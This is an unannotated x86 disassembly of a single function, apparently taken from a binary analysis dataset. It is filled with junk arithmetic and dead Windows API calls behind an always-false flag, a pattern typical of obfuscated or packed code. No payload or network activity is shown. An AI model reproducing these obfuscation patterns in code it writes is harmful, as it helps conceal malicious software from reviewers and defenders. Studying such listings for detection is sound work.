mov dword [esp + 0x80], ebx
push eax
lea eax, [esp + 0x90]
mov dword [esp + 0x90], ebx
push eax
lea eax, [esp + 0x88]
mov dword [esp + 0x6c], ebx
push eax
push 0x1000b8f8
call fcn.1005856b
mov edx, dword [esp + 0x90]
add esp, 0x10
mov ecx, ebx
test edx, edx
js 0x1004ba50
mov ebx, dword [esp + 0x64]
mov esi, dword [esp + 0x8c]
mov eax, esi
mov dword [esp + 0x2c], ebx
sub dword [esp + 0x2c], edx
xor ebx, ebx
mov dword [esp + 0xc], eax
cmp ecx, esi
jg 0x1004ba46
mov eax, edx
sub eax, dword [esp + 0x64]
cmp ecx, eax
jl 0x1004ba42
mov eax, dword [esp + 0x2c]
add eax, ecx
cmp dword [esp + 0xc], eax
je 0x1004ba65
mov eax, dword [esp + 0xc]
inc ecx
dec eax
mov dword [esp + 0xc], eax
cmp ecx, edx
jle 0x1004ba28
push 0x1000b6ec
call fcn.10058e86
pop ecx
mov dword [esp + 0xc], 0xffffffe3
jmp 0x1004ba95
sub edx, ecx
sub esi, ecx
push edx
push esi
push ecx
push 0x1000b8f8
call fcn.10058bc8
add esp, 0x10
jmp 0x1004ba5b
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004ba91
push 0x363
call dword [sym.imp.USER32.dll_GetKeyState]
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 0xfffffff3
je 0x1004ba7b
push 2
lea ecx, [esp + 0xe0]
call fcn.10011f61
mov dword [esp + 0x28], 0x256a9ef7
mov dword [esp + 0xc], ebx
jmp 0x1004bace
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0xdc]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 2
jl 0x1004bab8
mov eax, dword [esp + 0xdc]
cmp dword [eax + 4], 5
sbb eax, eax
inc eax
mov dword [esp + 0x28], eax
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004baf9
push ebx
call dword [sym.imp.COMDLG32.dll_FindTextW]
push dword [esp + 0xdc]
call fcn.10058d37
cmp dword [esp + 0x114], 0
pop ecx
mov dword [esp + 0xdc], ebx
mov dword [esp + 0xe0], ebx
mov dword [esp + 0xe4], ebx
je 0x1004bba9
mov dword [esp + 0x38], 0x4e2db58e
mov dword [esp + 0x38], 0x57ad95e1
mov dword [esp + 0x38], edi
mov dword [esp + 0x38], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x38], 0xad8530de
mov dword [esp + 0xc], ebx
jmp 0x1004bb6a
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x178], 2
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 4
jl 0x1004bb57
dec dword [esp + 0x184]
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004bb8b
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov ecx, dword [esp + 0x110]
call fcn.1004a7e4
mov esi, eax
lea eax, [esp + 0x5c]
push eax
mov dword [esp + 0x38], esi
call fcn.1004c2ab
mov dword [eax], esi
mov dword [esp + 0x18], 0xfffffff9
mov dword [esp + 0x2c], 0x29855eec
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0x30], 9
push 0xfffffffffffffff7
mov dword [esp + 0x1c], 5
pop esi
cmp dword [esp + 0x18], esi
jg 0x1004bc7d
mov ebx, 0x801465ee
mov dword [esp + 0x1c], 0xfffffffd
mov dword [esp + 0x30], 0xeb2d3650
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x18]
cmp eax, ecx
setge dl
sub edx, dword [esp + 0x1c]
neg edx
sbb edx, edx
inc edx
sub edx, dword [esp + 0x1c]
neg edx
sbb edx, edx
inc edx
mov dword [esp + 0x30], edx
mov eax, dword [esp + 0x30]
cmp ebx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 7
setg cl
sub ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x1c]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [esp + 0x30], eax
dec dword [esp + 0x18]
cmp dword [esp + 0x18], esi
jle 0x1004bbe3
xor ebx, ebx
lea ecx, [esp + 0x10c]
call fcn.10047386
cmp dword [esp + 0x34], 0
push 0xfffffffffffffff8
pop esi
je 0x1004bfcb
mov dword [esp + 0x20], 0xf73838a1
mov dword [esp + 0x28], ebx
mov dword [esp + 0x58], 0xffffffff
mov dword [esp + 0x2c], 0x849f845
mov dword [esp + 0x30], 0x7b4bc66
mov dword [esp + 0x24], 0xb7bededb
mov dword [esp + 0x18], 0xc3938dd4
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], ebx
jmp 0x1004bce4
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x154], esi
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 2
jl 0x1004bcd5
inc dword [esp + 0x20]
xor edx, edx
inc dword [esp + 0x10]
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
cmp ecx, eax
mov eax, dword [esp + 0x20]
setne dl
xor ecx, ecx
cmp edx, 0xb608
setl cl
xor edx, edx
cmp eax, ecx
mov eax, dword [esp + 0x24]
setge dl
sub eax, 0xf7c2f5a2
neg eax
sbb eax, eax
inc eax
sub eax, edx
add eax, dword [esp + 0x10]
je 0x1004bdab
mov dword [esp + 0xc], 0xf1e2
mov esi, edi
mov dword [esp + 0x1c], edi
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0xc]
cmp dword [esp + 0x18], ebx
jne 0x1004bd4c
mov esi, ebx
mov eax, dword [esp + 0x28]
xor edx, edx
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
cmp eax, ecx
setle dl
imul edx, esi
cmp edx, 0xa9d707d8
sbb eax, eax
neg eax
sub eax, 0x7bfbc35c
je 0x1004bd7f
mov edx, edi
cmp dword [esp + 0x1c], ebx
jne 0x1004bd81
mov edx, ebx
mov eax, dword [esp + 0x2c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0xc]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0xc]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [esp + 0x30], ecx
jmp 0x1004bf0d
push 2
lea ecx, [esp + 0x94]
call fcn.10011f61
mov dword [esp + 0x1c], 0x8a24e228
mov dword [esp + 0x38], esi
mov dword [esp + 0xc], edi
mov dword [esp + 0xc], ebx
jmp 0x1004bde5
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x90]
mov dword [eax + ecx*4], 0xb2235412
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 2
jl 0x1004bdcf
mov eax, dword [esp + 0x154]
xor edx, edx
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
mov eax, dword [esp + 0x28]
mov esi, dword [esp + 0x90]
add eax, dword [esi + 4]
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x58]
cmp ecx, eax
mov eax, dword [esp + 0x24]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0x24]
setle cl
xor edx, edx
cmp ecx, 0xd68e
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0x20]
setle cl
mov dword [esp + 0x58], ecx
xor ecx, ecx
cmp dword [esp + 0x58], eax
setne cl
xor eax, eax
cmp ecx, 0xfffffffe
setle al
cmp dword [esi + 4], eax
jg 0x1004be81
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004beeb
push 0x22f8
push 0x2505
push 0x1569
call dword [sym.imp.USER32.dll_SetClassLongA]
jmp 0x1004beeb
mov dword [esp + 0x58], 0xfffffff8
xor edx, edx
mov dword [esp + 0x24], 9
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x1c]
cmp ecx, eax
setle dl
mov dword [esp + 0x1c], edx
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x90]
mov edx, dword [eax]
mov eax, dword [esp + 0x1c]
sub edx, ecx
add eax, edx
xor edx, edx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0xc], eax
mov dword [esp + 0x1c], 0xa6f2
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x2c]
cmp eax, ecx
mov eax, dword [esp + 0x1c]
setl dl
xor ecx, ecx
cmp eax, edx
setge cl
mov dword [esp + 0x24], ecx
push dword [esp + 0x90]
call fcn.10058d37
pop ecx
mov dword [esp + 0x90], ebx
mov dword [esp + 0x94], ebx
mov dword [esp + 0x98], ebx
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x34]
call fcn.1004a83a
mov esi, eax
lea ecx, [esp + 0xf4]
push edi
mov dword [esp + 0xb8], esi
call fcn.10011f61
mov dword [esp + 0xc], ebx
jmp 0x1004bf4c
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0xf4]
mov dword [eax + ecx*4], 0x7e2799ac
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edi
jl 0x1004bf36
mov eax, dword [esp + 0xf4]
mov dword [eax], 0xfffffffe
mov dword [esp + 0x3c], 0xdc7555b7
mov dword [esp + 0x38], 0xd19ac196
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004bf87
push 0xa8b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0xf4]
dec dword [eax]
cmp dword [eax], 0xffffffe3
jg 0x1004bf5f
push eax
call fcn.10058d37
pop ecx
lea eax, [esp + 0x84]
mov dword [esp + 0xf4], ebx
push eax
mov dword [esp + 0xfc], ebx
mov dword [esp + 0x100], ebx
call fcn.1004c249
push 0xfffffffffffffff8
mov dword [eax], esi
pop esi
mov dword [esp + 0x10], ebx
mov dword [esp + 0x3c], 4
mov dword [esp + 0x38], esi
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004bfed
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp dword [esp + 0x10], ebx
jne 0x1004c039
mov eax, dword [esp + 0x10]
cmp eax, dword [esp + 0x10]
jg 0x1004c003
cmp dword [esp + 0x10], ebx
jne 0x1004c005
mov edi, ebx
cmp edi, dword [esp + 0x10]
jne 0x1004c00f
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
or ecx, 0xffffffff
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
sub ecx, eax
imul ecx, dword [esp + 0x10]
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x3c], 0xffffffff
mov dword [esp + 0x10], ebx
jmp 0x1004c061
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1004c05d
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
dec dword [esp + 0x10]
cmp dword [esp + 0x10], 0xfffffffe
jne 0x1004c04b
mov dword [esp + 0x3c], 0xeab3ae5d
mov eax, dword [ebp + 8]
lea esi, [esp + 0xb4]
mov ecx, dword [esp + 0x1ac]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret